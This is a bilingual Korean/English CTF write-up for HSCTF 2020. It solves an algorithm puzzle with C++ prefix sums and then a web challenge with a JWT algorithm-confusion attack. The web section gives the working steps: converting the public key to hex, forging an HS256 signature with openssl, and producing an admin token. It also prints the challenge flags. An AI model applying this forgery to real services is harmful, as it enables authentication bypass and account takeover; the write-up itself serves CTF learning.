[HSCTF 2020] Algorithm- Alien, Web - Broken Token write-up

Algorithms - Alien

2차원 누적합을 사용하면, 구간 합을 //(O(1)//)만에 구할 수 있다. 총 시간복잡도는 //(O(N^4)//)인데, //(N=500//)이므로 계산량은 625억 정도가 된다. 보통 1억번의 연산이 1초 정도 걸리므로, 대충 600초=10분 정도의 시간이 소요된다.

 

Using 2nd dimension cumulative summation, you can easily get range summation in //(O(1)//) time complexity. Then, total time complexity is //(O(N^4)//), while //(N=500//), total computing amount is about 62.5 billions.

Average CPU runs 100 million arithmetic for seconds, roughly 600 seconds(=10 minutes) will take to complete computation.

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
#define endl '\n'
ll accu[505][505];
ll sign[505][505];
ll g(int x1, int y1, int x2, int y2) {
	return accu[x2][y2] - accu[x2][y1 - 1] - accu[x1 - 1][y2] + accu[x1 - 1][y1 - 1];
}
ll s(int x1, int y1, int x2, int y2) {
	return sign[x2][y2] - sign[x2][y1 - 1] - sign[x1 - 1][y2] + sign[x1 - 1][y1 - 1];
}
int main() {

	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			int tmp;
			scanf("%d", &tmp);
			accu[i][j] = accu[i][j - 1] + tmp;
			sign[i][j] = sign[i][j - 1] + (tmp == -1);
		}
	}
	puts("got input!");
	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			accu[j][i] += accu[j - 1][i];
			sign[j][i] += sign[j - 1][i];
		}
	}
	puts("calc 누적합!");
	ll ans = 0;
	for (int i = 1; i <= 500; i++) {
		printf("Progress %d/500\n", i);
		for (int j = 1; j <= 500; j++) {
			for (int x = i; x <= 500; x++) {
				for (int y = j; y <= 500; y++) {
					ll add = g(i, j, x, y);
					if (add % 13 == 0) {
						if (s(i, j, x, y) & 1) {
							add = -add;
						}
						ans += add;
					}
				}
			}
		}
	}
	cout << ans << endl;
	return 0;
}

flag{7508511543}

 

Web - Broken Token

소스코드를 보면 웹에서 JWT를 사용한다. 그런데, 디코딩을 할 때에는 jwt 알고리즘을 명시적으로 선언해놓지 않았다. 따라서 공개키 암호 방식인 RS256대신 대칭키 암호 방식인 HS256를 강제하게 해서 jwt를 변조할 수 있다.

Inspecting the source code, it using JWT. Then, decoding phase, there is no explicit algorithm indication.

Thus, by crafting the JWT header, we can enforce server to use HS256 which is symmetric key cryptographical signiture.

 

자세한 공격 프로세스는 이 링크에 자세히 나와있다.

Detailed attack prcess is in this link

 

아래 내용은 링크가 깨질 경우를 대비한 링크 내용 카피본이다

Collapsed contents contain the back-up of the link contents, for the case of link is broken.

key.pem

-----BEGIN PUBLIC KEY-----
  MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
  NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
  1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
  H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
  ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
  2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
  KwIDAQAB
  -----END PUBLIC KEY----

이 값을 Ascii hex로 변경한다.

Transform the pem data to ascii hex.

cat key.pem | xxd -p | tr -d "\\n"

이 경우 아래 결과를 얻게 된다.

Result of above command is below.

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이를 이용해서 JWT header와 payload를 서명해보도록 하자.

Let's sign the jwt header and payload with the key.

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이때 나온 HMAC 시그니쳐는 아래와 같다.

Output is HMAC signiture.

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

이 시그니쳐 값을 한줄의 파이썬 코드로 ASCII hex 값으로 바꾼다.

You can transform this signiture to ASCII hex with one line python code

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

그 결과는 아래와 같다.

Result is here.

2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

이를 이용한 최종 JWT 값은 다음과 같다.

Final valid jwt is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

실제로 사용한 JWT 값은 다음과 같다.

The JWT used to exploit is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

 

Lastest version pyJWT seems to be patched about the vulnerability.

최신 버전의 pyJWT에는 통하지 않는 듯 하다.

flag{1n53cur3_tok3n5_5474212}